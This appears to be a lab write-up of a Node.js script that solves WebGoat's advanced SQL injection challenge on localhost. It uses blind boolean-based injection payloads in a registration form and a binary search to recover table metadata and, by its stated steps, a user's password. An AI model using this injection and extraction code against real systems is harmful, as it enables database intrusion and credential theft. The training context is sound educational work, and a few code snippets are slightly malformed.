

SETUP

- Node.js (v16.9.1)
- Vim for text processing
- Postman(for manipulating HTTP requests)

STEPS

1. Validate input (start and end)
2. Get the maximum table name length
3. Get the count **of** tables
4. For each table:
 - Get table Name
 - Get count **of** columns **for** the table
 - Get all column names
5. Find the table **with** column '**password**' and a column which can have '**tom**' as value
6. Check the tables **for** tom **with** a query
7. Find each character **for** the field where there's **an entry for tom**

MAKING HTTP REQUESTS

The [axios](#) module was used for making HTTP requests

```
export const makeRequest = config => {  
  return axios(config)  
    .then(function (response) {  
      return response.data;  
    })  
    .catch(function (error) {  
      console.log(error.data);  
    });  
}
```

BOOLEAN TEST WITH HTTP REQUEST

```
export const booleanTest = async (type, value, sqlQuery) => {
  let data = getPayload(type, value, sqlQuery)
  let config = {
    method: 'put',
    url: 'http://127.0.0.1:8080/WebGoat/SqlInjectionAdvanced/challenge',
    headers: getHeaders(),
    data : data
  };

  let response = await makeRequest(config);

  if(response.feedback.includes('already exists'))
    return true
  else
    return false
}
```

SETTING UP INJECTION STRING AND THE PAYLOAD

```
export const getInjectionString = (type, value, sqlQuery) => {
  let comparison = ''
  if (type === 'min')
    comparison = `(${sqlQuery}) < ${value}`
  else if (type === 'max')
    comparison = `(${sqlQuery}) > ${value}`
  else if (type === 'exists')
    comparison = `exists (${sqlQuery})`
  else
    //test for equality if we do not recognize the type of injection
    comparison = `(${sqlQuery}) = ${value}`
  return `tom\` and ${comparison} and \'1\'=\'1\`

export const getPayload = (type, value, sqlQuery) => {
  const injectionString = getInjectionString(type, value, sqlQuery)
  return `username_reg=${injectionString}&email_reg=y&password_reg=aa&confirm_password_reg=aa`
```

BINARY SEARCH

The *binarySearch* method searches for the value in $O(\log(n))$ time.

```
export const binarySearch = async (min, max, sqlQuery) => {
  while(min <= max) {
    let mid = Math.floor((min + max)/ 2)

    if(await booleanTest('min', mid, sqlQuery)) {
      max = mid - 1
    } else if(await booleanTest('max', mid, sqlQuery)) {
      min = mid + 1
    } else
      return mid
  }
}
```

CONFIRM VALUE

Confirms value tests for the value return by *binarySearch* and tests it with equality.

```
export const confirmValue = async (value, sqlQuery) => {  
  // Confirm the retrieved value  
  if(await booleanTest(true, value, sqlQuery)) {  
    return value  
  } else {  
    console.log(`something's wrong. binarySearch did not find the correct value`)  
    console.log(`\n${sqlQuery}`)  
    process.exit(1)  
  }  
}
```

PASSING SQL QUERIES TO BINARYSEARCH AND CONFIRMVALUE

```
const tableMaxLength = async () => {  
  const sqlQuery = 'select max(char_length(table_name)) from information_schema.tables';  
  let maxValue = await binarySearch(10, 64, sqlQuery)  
  return confirmValue(maxValue, sqlQuery)  
}
```